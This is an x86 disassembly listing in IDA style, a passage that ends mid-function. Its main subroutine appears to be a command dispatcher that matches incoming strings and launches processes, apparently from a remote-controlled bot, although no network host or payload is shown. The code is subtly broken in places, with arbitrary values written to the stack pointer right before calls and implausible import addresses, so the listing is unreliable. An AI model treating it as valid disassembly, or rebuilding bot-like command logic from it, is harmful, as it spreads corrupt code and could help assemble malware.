add esp, 0Ch
mov byte ptr [esp+60h+var_4], 0Eh
lea ecx, [esp+60h+var_24]
call sub_4011F9
call dword ptr ds:3B039Bh
mov ecx, eax
mov eax, 10624DD3h
mul ecx
shr edx, 6
lea ecx, [esp+60h+var_54]
mov [esi+5], edx
mov [esp+60h+var_4], edi
call sub_4011F9
mov ecx, [esp+60h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 54h
retn
sub_403BE0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 150h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404260 proc near ; CODE XREF: sub_40194Cj
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push 0FFFFFFFFh
push 5D81CDh
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 7Ch
push ebx
push ebp
push esi
mov esi, [esp+94h+arg_0]
mov ebp, ecx
push edi
lea ebx, [esi+2Ah]
push 0
mov ecx, ebx
mov [esp+9Ch+var_88], ebp
call sub_40141A
mov cl, [eax]
lea edi, [esi+69h]
cmp cl, 23h
jnz short loc_4042A2
push ebx
jmp short loc_4042A6
; ---------------------------------------------------------------------------
loc_4042A2: ; CODE XREF: sub_404260+3Dj
lea eax, [esi+15h]
push eax
loc_4042A6: ; CODE XREF: sub_404260+40j
mov ecx, edi
call sub_401E65
mov al, [esi+94h]
test al, al
jz short loc_4042C2
lea ecx, [esi+15h]
push ecx
mov ecx, edi
call sub_401E65
loc_4042C2: ; CODE XREF: sub_404260+55j
mov al, [esi+95h]
test al, al
jz short loc_40433F
lea ecx, [esp+98h+var_6C]
call sub_4013CF
push 6EC0E6h
mov ecx, esi
mov [esp+9Ch+var_4], 0
call sub_40138E
add eax, 3
lea edx, [esp+98h+var_54]
push eax
push edx
mov ecx, esi
call sub_401CF8
push eax
lea ecx, [esp+9Ch+var_6C]
mov byte ptr [esp+9Ch+var_4], 1
call sub_401E65
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], 0
call sub_4011F9
lea eax, [esp+98h+var_6C]
mov ecx, edi
push eax
call sub_401E65
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_4011F9
loc_40433F: ; CODE XREF: sub_404260+6Aj
push 376073h
lea ecx, [esp+9Ch+var_6C]
push 0
push ecx
mov ecx, esi
call sub_401622
lea edx, [esp+98h+var_54]
mov esi, 0E37607h
push 1
push edx
mov ecx, eax
mov [esp+0A0h+var_4], ebx
call sub_401CF8
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 3
call sub_401E65
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_4011F9
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_4011F9
push 0
lea ecx, [ebp+32Ch]
call sub_40141A
push 0
mov ecx, esi
mov ebp, eax
call sub_40141A
mov al, [eax]
mov cl, [ebp+0]
cmp al, cl
jnz loc_40460A
push 0
push 14h
push 1
push 5
push 10h
push 5
push 12h
push 4Eh
push 14h
push 0Fh
lea ecx, [esp+0C0h+var_54]
push ebx
push ecx
call sub_4018DE
add esp, 30h
mov ecx, eax
mov [esp+98h+var_4], 4
call sub_401726
push eax
mov ecx, edi
call sub_4012B7
test eax, eax
jnz short loc_40442F
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0B0h+arg_0], esp
push edx
call sub_40146F
mov eax, 6BCDD8h
call sub_401BAE
test eax, eax
jz short loc_40442F
mov bl, 1
jmp short loc_404431
; ---------------------------------------------------------------------------
loc_40442F: ; CODE XREF: sub_404260+1A6j
; sub_404260+1C9j
xor bl, bl
loc_404431: ; CODE XREF: sub_404260+1CDj
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_4011F9
test bl, bl
jz loc_4045EE
push 3DE6ECh
lea eax, [esp+9Ch+var_54]
push 1
push eax
mov ecx, esi
call sub_401622
push 1EF376h
mov ecx, eax
mov [esp+9Ch+var_4], 5
call sub_4012B7
test eax, eax
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
setz bl
call sub_4011F9
test bl, bl
jnz loc_40460A
push 4F79BBh
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+98h+var_4], 6
call sub_401726
push eax
call dword ptr ds:27BCDDh
add esp, 4
lea ecx, [esp+98h+var_54]
mov ebp, eax
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_4011F9
test ebp, ebp
jz loc_40460A
push 20h
mov ecx, esi
call sub_401BFE
lea edx, [esp+98h+var_84]
push eax
push edx
mov ecx, esi
call sub_401CF8
mov ebp, 653DE6h
push 20h
lea ecx, [esp+9Ch+var_84]
mov [esp+9Ch+var_4], ebx
call sub_401BFE
push eax
lea eax, [esp+9Ch+var_54]
push eax
lea ecx, [esp+0A0h+var_84]
call sub_401CF8
push eax
lea ecx, [esp+9Ch+var_84]
mov byte ptr [esp+9Ch+var_4], 8
call sub_401EAB
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_4011F9
lea ecx, [esp+98h+var_84]
push ecx
mov ecx, esi
call sub_401E65
push 329EF3h
lea edx, [esp+9Ch+var_24]
push 0
push edx
mov ecx, esi
call sub_401622
lea ecx, [esp+98h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+0A0h+var_4], 9
call sub_401CF8
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_401E65
lea ecx, [esp+98h+var_3C]
mov byte ptr [esp+98h+var_4], 9
call sub_4011F9
lea ecx, [esp+98h+var_24]
mov byte ptr [esp+98h+var_4], bl
call sub_4011F9
mov al, [esp+98h+arg_4]
test al, al
jnz short loc_4045C7
test ebp, ebp
jle short loc_4045D8
loc_4045B8: ; CODE XREF: sub_404260+363j
mov ecx, [esp+98h+var_88]
push esi
call sub_401E1F
dec ebp
jnz short loc_4045B8
jmp short loc_4045D8
; ---------------------------------------------------------------------------
loc_4045C7: ; CODE XREF: sub_404260+352j
test ebp, ebp
jle short loc_4045D8
loc_4045CB: ; CODE XREF: sub_404260+376j
mov ecx, [esp+98h+var_88]
push esi
call sub_4013ED
dec ebp
jnz short loc_4045CB
loc_4045D8: ; CODE XREF: sub_404260+356j
; sub_404260+365j ...
lea ecx, [esp+98h+var_84]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_4011F9
jmp short loc_40460A
; ---------------------------------------------------------------------------
loc_4045EE: ; CODE XREF: sub_404260+1E7j
mov al, [esp+98h+arg_4]
mov ecx, [esp+98h+var_88]
test al, al
push esi
jnz short loc_404605
call sub_401E1F
jmp short loc_40460A
; ---------------------------------------------------------------------------
loc_404605: ; CODE XREF: sub_404260+39Cj
call sub_4013ED
loc_40460A: ; CODE XREF: sub_404260+162j
; sub_404260+232j ...
mov ecx, [esp+98h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 88h
retn 8
sub_404260 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404730 proc near ; CODE XREF: sub_401E1Fj
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
mov esi, 8B29EFh
call sub_401479
mov esi, [esp+8+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012B7
test eax, eax
jz short loc_404776
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push eax
call sub_40146F
mov edi, 0E22CA7h
call sub_401BAE
test eax, eax
jnz short loc_404776
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404776: ; CODE XREF: sub_404730+1Dj
; sub_404730+3Dj
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push edx
call sub_40146F
mov ebp, 8388B2h
call sub_401BAE
test eax, eax
jnz short loc_4047B6
mov al, [edi+469h]
test al, al
jz short loc_4047B6
push 0
lea ecx, [esi+2Ah]
call sub_40141A
cmp byte ptr [eax], 23h
jz short loc_4047B6
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_4047B6: ; CODE XREF: sub_404730+64j
; sub_404730+6Ej ...
push esi
mov ecx, edi
call sub_4013ED
pop edi
pop esi
retn 4
sub_404730 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404800 proc near ; CODE XREF: sub_4013EDj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 1
lea ecx, [esi+7Eh]
call sub_401726
push eax
mov esi, 8388Bh
call sub_401A0F
test eax, eax
jz short loc_40482A
mov ecx, [eax+2Ah]
push esi
mov eax, [ecx]
call dword ptr [eax]
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40482A: ; CODE XREF: sub_404800+1Cj
xor al, al
pop esi
retn 4
sub_404800 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404840 proc near ; CODE XREF: sub_4017A3j
push esi
push edi
mov edi, ds:dword_4B38D0
mov esi, ecx
call edi
mov edx, ds:dword_48875F
mov ecx, [esi+421h]
sub eax, edx
cmp eax, ecx
jbe short loc_40486F
mov ecx, 618388h
call sub_401BEA
call edi
mov ds:dword_48875F, eax
loc_40486F: ; CODE XREF: sub_404840+1Cj
pop edi
mov al, 1
pop esi
retn
sub_404840 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404890 proc near ; CODE XREF: sub_40170Dj
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_154 = byte ptr -154h
var_150 = byte ptr -150h
var_14D = byte ptr -14Dh
var_14C = byte ptr -14Ch
var_134 = byte ptr -134h
var_11C = byte ptr -11Ch
var_10C = byte ptr -10Ch
var_100 = byte ptr -100h
var_F0 = dword ptr -0F0h
var_E8 = byte ptr -0E8h
var_D0 = dword ptr -0D0h
var_A0 = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_8 = byte ptr 0Ch
arg_C = byte ptr 10h
mov eax, large fs:0
push 0FFFFFFFFh
push 30C1C4h
push eax
mov large fs:0, esp
sub esp, 15Ch
push ebx
push ebp
push esi
mov esi, [esp+174h+arg_0]
push edi
mov edi, ecx
lea ebp, [esi+7Eh]
lea ecx, [edi+0C29h]
call sub_401726
push eax
mov ecx, ebp
call sub_4012B7
test eax, eax
jnz short loc_404904
lea ecx, [esi+69h]
call sub_401479
push eax
lea ecx, [edi+2E3h]
call sub_401479
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov esp, 65860Eh
call sub_4010FF
jmp loc_405295
; ---------------------------------------------------------------------------
loc_404904: ; CODE XREF: sub_404890+40j
lea ecx, [edi+0D6Bh]
call sub_401726
push eax
mov ecx, ebp
call sub_4012B7
test eax, eax
jnz loc_404A95
push 1
push 32C307h
lea edx, [esp+180h+var_14C]
push 2
push edx
mov ecx, esi
call sub_4011C2
push 596183h
lea eax, [esp+17Ch+var_100]
push 1
push eax
mov ecx, esi
mov [esp+184h+var_4], 0
call sub_401622
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1
call sub_401726
push eax
call dword ptr ds:6CB0C1h
add esp, 4
cmp eax, 1
lea ecx, [esp+178h+var_100]
mov byte ptr [esp+178h+var_4], 0
setz bl
call sub_4011F9
lea ecx, [esp+178h+var_164]
call sub_4013CF
push 365860h
push 1B2C30h
lea ecx, [esp+180h+var_164]
mov byte ptr [esp+180h+var_4], 2
call sub_401B40
push eax
lea ecx, [esp+180h+var_14C]
call sub_401726
push eax
call dword ptr ds:4D9618h
lea ecx, [esp+178h+var_164]
push ecx
lea ecx, [esp+17Ch+var_14C]
call sub_401E65
mov eax, offset dword_453658
xor eax, eax
lea edi, [esp+178h+var_D0]
lea edx, [esp+178h+var_11C]
rep stosd
lea eax, [esp+178h+var_D0]
push edx
push eax
push 0
neg bl
push 0
push 28h
sbb ebx, ebx
push 1
and ebx, 5
push 0
push 0
lea ecx, [esp+198h+var_14C]
mov [esp+198h+var_D0], 44h
mov word ptr [esp+198h+var_A0], bx
call sub_401479
push eax
push 0
call dword ptr ds:229B2Ch
test eax, eax
jnz short loc_404A69
lea ecx, [esi+69h]
call sub_401479
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push 514D96h
push ecx
push edx
mov esp, 254536h
call sub_4010FF
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_4011F9
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_40528E
; ---------------------------------------------------------------------------
loc_404A69: ; CODE XREF: sub_404890+18Cj
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_4011F9
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, 1
jmp loc_405295
; ---------------------------------------------------------------------------
loc_404A95: ; CODE XREF: sub_404890+89j
lea ecx, [edi+0B71h]
call sub_401479
push eax
mov ecx, ebp
call sub_4012B7
test eax, eax
jnz loc_404B44
push 1
push 12A29Bh
lea eax, [esp+180h+var_164]
push 1
push eax
mov ecx, esi
call sub_4011C2
mov ebx, 812A29h
mov [esp+178h+var_4], 3
call sub_401726
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4012B7
test eax, eax
jnz short loc_404B30
mov al, ds:byte_44072E
test al, al
jz short loc_404B00
push offset dword_489514
mov ecx, 0A244A8h
call sub_4013F2
loc_404B00: ; CODE XREF: sub_404890+25Fj
mov al, ds:byte_440777
test al, al
jz short loc_404B18
push 512254h
mov ebp, 6E8912h
call sub_40186B
loc_404B18: ; CODE XREF: sub_404890+277j
mov edx, 0A7E891h
call sub_401D20
mov ds:byte_488752, 0
mov ds:byte_499254, 0
loc_404B30: ; CODE XREF: sub_404890+256j
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_164]
jmp loc_40528E
; ---------------------------------------------------------------------------
loc_404B44: ; CODE XREF: sub_404890+21Aj
lea ecx, [edi+0C57h]
call sub_401726
push eax
mov ecx, ebp
call sub_4012B7
test eax, eax
jnz short loc_404B8C
lea ecx, [esi+69h]
call sub_401479
push eax
mov edx, 0ED4FD1h
call sub_401479
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
mov edi, 0EBFA9Fh
call sub_4010FF
jmp loc_405295
; ---------------------------------------------------------------------------
loc_404B8C: ; CODE XREF: sub_404890+2C9j
lea ecx, [edi+0DC7h]
call sub_401726
push eax
mov ecx, ebp
call sub_4012B7
test eax, eax
jnz loc_404C49
push eax
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
lea eax, [esp+19Ch+var_14C]
push 50h
push eax
call sub_4018DE
add esp, 2Ch
mov esi, eax
push 0
push 5
push 18h
push 5
push 4Eh
push 7
push 9
push 6
push 0Eh
push 0Fh
push 3
push 10h
lea ecx, [esp+1A8h+var_164]
push 9
push ecx
mov [esp+1B0h+var_4], 4
call sub_4018DE
add esp, 38h
mov edi, eax
mov ecx, esi
mov byte ptr [esp+178h+var_4], 5
call sub_401726
push eax
mov ecx, edi
call sub_401726
push eax
call sub_401262
add esp, 8
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 4
call sub_4011F9
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, 1
jmp loc_405295
; ---------------------------------------------------------------------------
loc_404C49: ; CODE XREF: sub_404890+311j
lea ecx, [edi+0D0Fh]
call sub_401726
push eax
mov ecx, ebp
call sub_4012B7
test eax, eax
jnz loc_404D67
lea ecx, [esp+178h+var_14C]
call sub_4013CF
push 75FD4Fh
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
mov [esp+184h+var_4], 6
call sub_401622
mov ecx, eax
mov byte ptr [esp+178h+var_4], 7
call sub_401726
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_4019A1
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 6
call sub_4011F9
lea ecx, [esp+178h+var_164]
call sub_4013CF
push 1
mov bl, 8
push 0
push 0
lea ecx, [esp+184h+var_14C]
mov byte ptr [esp+184h+var_4], bl
call sub_401726
push eax
push 3AFEA7h
push 0
call dword ptr ds:1D7F53h
movsx eax, al
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_401F73
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 9
push ecx
lea ecx, [esp+17Ch+var_164]
call sub_401EAB
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
lea ecx, [esi+69h]
call sub_401479
push eax
lea ecx, [esp+17Ch+var_164]
call sub_401479
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov edx, 0C9D7F5h
call sub_4010FF
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 6
call sub_4011F9
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_40528E
; ---------------------------------------------------------------------------
loc_404D67: ; CODE XREF: sub_404890+3CEj
lea ecx, [edi+0D99h]
call sub_401726
push eax
mov ecx, ebp
call sub_4012B7
test eax, eax
jnz short loc_404D8A
mov ds:byte_488752, al
mov al, 1
jmp loc_405295
; ---------------------------------------------------------------------------
loc_404D8A: ; CODE XREF: sub_404890+4ECj
lea ecx, [edi+0D3Dh]
call sub_401726
push eax
mov ecx, ebp
call sub_4012B7
test eax, eax
jnz loc_405051
lea ecx, [esp+178h+var_11C]
call sub_4013CF
push 6CEBFAh
lea ecx, [esp+17Ch+var_164]
push 1
mov edi, 0EECEBFh
push ecx
mov ecx, esi
mov [esp+184h+var_4], ebx
call sub_401622
push 7F675Fh
mov ecx, eax
mov byte ptr [esp+17Ch+var_4], 0Bh
call sub_4012B7
test eax, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
setz [esp+178h+var_14D]
call sub_4011F9
mov al, [esp+178h+var_14D]
test al, al
jz short loc_404E14
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_11C]
jmp loc_40528E
; ---------------------------------------------------------------------------
loc_404E14: ; CODE XREF: sub_404890+56Ej
push 3FB3AFh
lea edx, [esp+17Ch+var_164]
push 1
push edx
mov ecx, esi
call sub_401622
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Ch
call sub_401726
push eax
call dword ptr ds:5FD9D7h
lea ecx, [esp+164h+var_150]
mov [esp+164h+var_F0], eax
mov [esp+164h+arg_C], bl
call sub_4011F9
mov eax, [esp+164h+var_F0]
or ebp, 0FFFFFFFFh
cmp eax, ebp
jz loc_404EE7
push 2
lea eax, [esp+168h+var_F0]
push 4
push eax
call dword ptr ds:2FECEBh
mov edi, eax
test edi, edi
jz loc_404FC8
push 17F675h
lea ecx, [esp+16Ch+var_154]
push 1
push ecx
mov ecx, esi
call sub_401622
mov edx, [edi]
mov ecx, eax
push edx
mov [esp+16Ch+arg_8], 0Dh
call sub_401726
push eax
lea eax, [esp+170h+var_10C]
push 4BFB3Ah
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+168h+var_154]
mov [esp+168h+arg_8], bl
call sub_4011F9
lea ecx, [esi+69h]
call sub_401479
push eax
lea ecx, [esp+16Ch+var_10C]
call sub_401479
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
jmp loc_40502E
; ---------------------------------------------------------------------------
loc_404EE7: ; CODE XREF: sub_404890+5CAj
push 25FD9Dh
lea eax, [esp+168h+var_150]
push 1
push eax
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+164h+arg_C], 0Eh
call sub_401726
push eax
call dword ptr ds:52FECEh
lea ecx, [esp+168h+var_154]
mov edi, eax
mov [esp+168h+arg_8], bl
call sub_4011F9
test edi, edi
jz loc_404FC8
mov ecx, [edi+0Ch]
push 697F67h
lea eax, [esp+16Ch+var_154]
push 1
mov edx, [ecx]
push eax
mov ecx, esi
mov edi, [edx]
call sub_401622
mov ebp, eax
push edi
mov [esp+16Ch+arg_8], 0Fh
call dword ptr ds:74BFB3h
push eax
mov ecx, ebp
call sub_401726
push eax
lea ecx, [esp+170h+var_10C]
push 3A5FD9h
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+168h+var_154]
mov [esp+168h+arg_8], bl
call sub_4011F9
lea ecx, [esi+69h]
call sub_401479
push eax
lea ecx, [esp+16Ch+var_10C]
call sub_401479
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov esi, 0A4E97Fh
call sub_4010FF
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, bl
jmp loc_405295
; ---------------------------------------------------------------------------
loc_404FC8: ; CODE XREF: sub_404890+5E3j
; sub_404890+694j
push 5274BFh
lea ecx, [esp+16Ch+var_154]
push 1
push ecx
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+168h+arg_8], 10h
call sub_401726
push eax
lea edx, [esp+16Ch+var_10C]
push 693A5Fh
push edx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+168h+var_154]
mov [esp+168h+arg_8], bl
call sub_4011F9
lea ecx, [esi+69h]
call sub_401479
push eax
lea ecx, [esp+16Ch+var_10C]
call sub_401479
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_40502E: ; CODE XREF: sub_404890+652j
mov edx, 0E5A4E9h
call sub_4010FF
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], ebp
call sub_4011F9
mov al, bl
jmp loc_405295
; ---------------------------------------------------------------------------
loc_405051: ; CODE XREF: sub_404890+50Fj
lea ecx, [edi+0BCDh]
call sub_401726
push eax
mov ecx, ebp
call sub_4012B7
test eax, eax
jnz loc_405142
lea ecx, [edi+9]
call sub_401726
lea edx, [esp+178h+var_164]
push eax
push edx
call sub_401EBF
add esp, 8
push 0
push 25h
push 1Dh
push 23h
lea eax, [esp+188h+var_14C]
mov edi, 0E3D693h
push 28h
push eax
mov [esp+190h+var_4], ebx
call sub_4018DE
add esp, 18h
mov esi, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 12h
call sub_401726
push eax
mov ecx, esi
call sub_401726
push eax
push 79EB49h
push 7CF5A4h
call sub_401CDA
add esp, 10h
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
push 20h
lea ecx, [esp+17Ch+var_14C]
push 0
push ecx
lea ecx, [esp+184h+var_164]
call sub_40127B
mov ecx, eax
mov byte ptr [esp+178h+var_4], 13h
call sub_401726
push eax
push 3E7AD2h
push 1F3D69h
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, 1
jmp loc_405295
; ---------------------------------------------------------------------------
loc_405142: ; CODE XREF: sub_404890+7D6j
lea ecx, [edi+0E23h]
call sub_401726
push eax
mov ecx, ebp
call sub_4012B7
test eax, eax
jnz loc_4052B0
push 0F9EB4h
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
call sub_401622
mov edi, eax
mov ecx, ebp
mov [esp+178h+var_4], 14h
call sub_401384
mov ecx, edi
mov ebx, eax
call sub_401384
mov ecx, esi
lea edi, [ebx+eax+3]
call sub_401384
cmp eax, edi
lea ecx, [esp+178h+var_11C]
setle bl
or edi, 0FFFFFFFFh
mov [esp+178h+var_4], edi
call sub_4011F9
test bl, bl
jnz loc_405293
lea ecx, [esp+178h+var_14C]
call sub_4013CF
mov ecx, ebp
mov [esp+178h+var_4], 15h
call sub_401384
add eax, 2
mov ecx, esi
push eax
call sub_40141A
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_401564
lea ecx, [esp+178h+var_164]
call sub_4013CF
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], 16h
call sub_401726
push eax
lea eax, [esp+17Ch+var_164]
push 7CF5Ah
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
call sub_401726
push eax
call ds:dword_43E7AD
add esp, 4
cmp eax, edi
lea ecx, [esi+69h]
jnz short loc_40524A
call sub_401479
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push 61F3D6h
push ecx
push edx
jmp short loc_405268
; ---------------------------------------------------------------------------
loc_40524A: ; CODE XREF: sub_404890+99Dj
call sub_401479
push eax
lea ecx, [esp+16Ch+var_154]
call sub_401479
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_405268: ; CODE XREF: sub_404890+9B8j
mov esi, 6387CFh
call sub_4010FF
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 15h
call sub_4011F9
mov [esp+178h+var_4], edi
lea ecx, [esp+178h+var_14C]
loc_40528E: ; CODE XREF: sub_404890+1D4j
; sub_404890+2AFj ...
call sub_4011F9
loc_405293: ; CODE XREF: sub_404890+922j
; sub_404890+C70j
xor al, al
loc_405295: ; CODE XREF: sub_404890+6Fj
; sub_404890+200j ...
mov ecx, [esp+178h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 168h
retn 4
; ---------------------------------------------------------------------------
loc_4052B0: ; CODE XREF: sub_404890+8C7j
lea ecx, [edi+0C85h]
call sub_401726
push eax
mov ecx, ebp
call sub_4012B7
test eax, eax
jnz short loc_405326
lea edx, [esp+178h+var_164]
mov ecx, edi
push edx
call sub_401DF7
mov edi, eax
lea ecx, [esi+69h]
mov [esp+178h+var_4], 17h
call sub_401479
push eax
mov ecx, edi
call sub_401479
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov esi, 81CE1Fh
call sub_4010FF
lea ecx, [esp+178h+var_164]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, bl
jmp loc_405295
; ---------------------------------------------------------------------------
loc_405326: ; CODE XREF: sub_404890+A35j
lea ecx, [edi+0CE1h]
call sub_401726
push eax
mov ecx, ebp
call sub_4012B7
test eax, eax
jnz loc_405417
push 1
push offset loc_40E70F
lea edx, [esp+180h+var_14C]
push 1
push edx
mov ecx, esi
call sub_4011C2
push 20h
lea ecx, [esp+17Ch+var_164]
push 0
push ecx
mov ecx, eax
mov [esp+184h+var_4], 18h
call sub_40127B
mov ecx, eax
mov byte ptr [esp+178h+var_4], 19h
call sub_401726
push eax
push 207387h
push 1039C3h
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 18h
call sub_4011F9
or edi, 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], edi
call sub_4011F9
push 0
push 25h
push 1Dh
push 23h
lea edx, [esp+188h+var_164]
push 28h
push edx
call sub_4018DE
add esp, 18h
mov esi, eax
mov eax, 0E9039Ch
mov [esp+178h+var_4], 1Ah
call sub_401726
push eax
mov ecx, esi
call sub_401726
push eax
push 7C81CEh
push 3E40E7h
call sub_401CDA
add esp, 10h
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], edi
call sub_4011F9
mov al, 1
jmp loc_405295
; ---------------------------------------------------------------------------
loc_405417: ; CODE XREF: sub_404890+AABj
lea ecx, [edi+0CB3h]
call sub_401726
push eax
mov ecx, ebp
call sub_4012B7
test eax, eax
jnz loc_4054EB
push 5F2073h
lea eax, [esp+17Ch+var_14C]
push 1
push eax
mov ecx, esi
call sub_401622
mov ecx, eax
mov [esp+178h+var_4], 1Bh
call sub_401726
push eax
call dword ptr ds:2F9039h
or ebp, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+178h+var_14C]
mov ebx, eax
mov [esp+178h+var_4], ebp
call sub_4011F9
test ebx, ebx
jnz short loc_40547F
mov ecx, 84BE40h
loc_40547F: ; CODE XREF: sub_404890+BE8j
lea ecx, [esp+178h+var_164]
push ebx
push ecx
mov ecx, edi
call sub_401875
push offset loc_425F20
lea ecx, [esp+17Ch+var_164]
mov [esp+17Ch+var_4], 1Ch
call sub_4012B7
test eax, eax
jz short loc_4054D4
lea ecx, [esi+69h]
call sub_401479
push eax
lea ecx, [esp+17Ch+var_164]
call sub_401479
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov esi, 2FC25Fh
call sub_4010FF
loc_4054D4: ; CODE XREF: sub_404890+C17j
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], ebp
call sub_4011F9
mov al, 1
jmp loc_405295
; ---------------------------------------------------------------------------
loc_4054EB: ; CODE XREF: sub_404890+B9Cj
lea ecx, [edi+0DF5h]
call sub_401726
push eax
mov ecx, ebp
call sub_4012B7
test eax, eax
jnz loc_405293
lea ecx, [esp+178h+var_100]
call sub_4013CF
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
